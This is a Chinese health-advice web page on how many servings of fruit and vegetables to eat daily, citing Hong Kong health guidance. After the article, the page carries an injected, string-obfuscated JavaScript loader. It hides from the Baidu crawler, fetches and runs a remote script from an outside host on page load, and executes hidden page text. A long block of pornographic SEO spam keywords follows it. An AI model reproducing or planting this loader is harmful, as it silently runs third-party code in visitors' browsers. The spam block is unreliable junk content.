當前位置:首頁 > 飲食 > 健康飲食 > 正文

每天吃多少水果才好?吃水果的計算方法

2015-07-04 08:30:55  來源:360常識網   熱度:
導語:在計算蔬菜時,除新鮮蔬菜外,罐頭蔬菜也可以包括在內,但腌制蔬菜除外,因為它們的營養成分在腌制過程中受到了一定的破壞。一般來說,一碗

在計算蔬菜時,除新鮮蔬菜外,罐頭蔬菜也可以包括在內,但腌制蔬菜除外,因為它們的營養成分在腌制過程中受到了一定的破壞。一般來說,一碗未經烹調的葉菜,如生菜、花椰菜等,就可以算做一份蔬菜;但如果是煮熟的蔬菜,半碗就可以算做一份了。

每天吃多少水果才好?吃水果的計算方法
每天吃多少水果才好?吃水果的計算方法

每天吃多少水果才好?

要健康,就要多吃水果和蔬菜,這是我們早已耳熟能詳的觀念。但是,一天中到底應該吃多少呢?香港衛生署中央健康教育組最近指出,每人每天應進食最少兩份水果及三份蔬菜。

吃水果的計算方法

在計算水果的量時,不僅指的是新鮮水果,水果罐頭、烏梅和干棗等沒有添加糖或鹽的果干,以及沒有添加糖的鮮果汁均可包括在內;但添加了大量糖分的水果(如甜品)及脂肪含量高的水果(如椰子、榴蓮和牛油果等)除外。

具體說就是,一份水果約等于一個中型水果(如:橙、蘋果)、1/4杯沒有添加糖或鹽的果干(如:提子干、烏梅干)、3/4杯沒有添加糖的鮮果汁(如:連果肉的鮮橙汁)。

在計算蔬菜時,除新鮮蔬菜外,罐頭蔬菜也可以包括在內,但腌制蔬菜除外,因為它們的營養成分在腌制過程中受到了一定的破壞。一般來說,一碗未經烹調的葉菜,如生菜、花椰菜等,就可以算做一份蔬菜;但如果是煮熟的蔬菜,半碗就可以算做一份了。另外,3/4杯沒有添加糖的新鮮蔬菜汁,也可以算做一份蔬菜。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品国1国二国三在| 在线精品国精品国产不卡| 亚洲AV蜜桃永久无码精品| 亚洲精品中文字幕乱码影院| 国产精品igao视频| 亚洲精品理论电影在线观看| 久久精品国产亚洲夜色AV网站| 日本午夜精品理论片A级APP发布| 亚洲国产精品xo在线观看| 国内精品九九久久精品| 国产精品午夜高清在线观看| 亚洲精品国产专区91在线| 国内精品久久久久影院优| 精品人妻人人做人人爽夜夜爽| 国产精品高清一区二区人妖| 国产精品多人p群无码| 国产精品H片在线播放| 精品久久天干天天天按摩| 亚洲国产美女精品久久久久| 国产精品一区二区久久国产| www国产亚洲精品久久久日本| 久久精品日韩av无码| 久久亚洲精品成人无码网站| 久久久久免费精品国产| 精品一区二区三区在线观看| 野花国产精品入口| 97精品伊人久久大香线蕉app| 久久99热精品免费观看牛牛| 中文成人无码精品久久久不卡| 日韩精品人妻系列无码av东京| 国产精品国产三级国产专播| 久久精品国产亚洲av影院| 亚洲精品亚洲人成在线观看| 精品久久久久久久久久中文字幕| 综合91在线精品| 国产美女精品三级在线观看| 十八禁无遮挡99精品国产| 国产精品视频一区麻豆| 精品久久人妻av中文字幕| 久久99精品国产麻豆| 久久丫精品国产亚洲av不卡|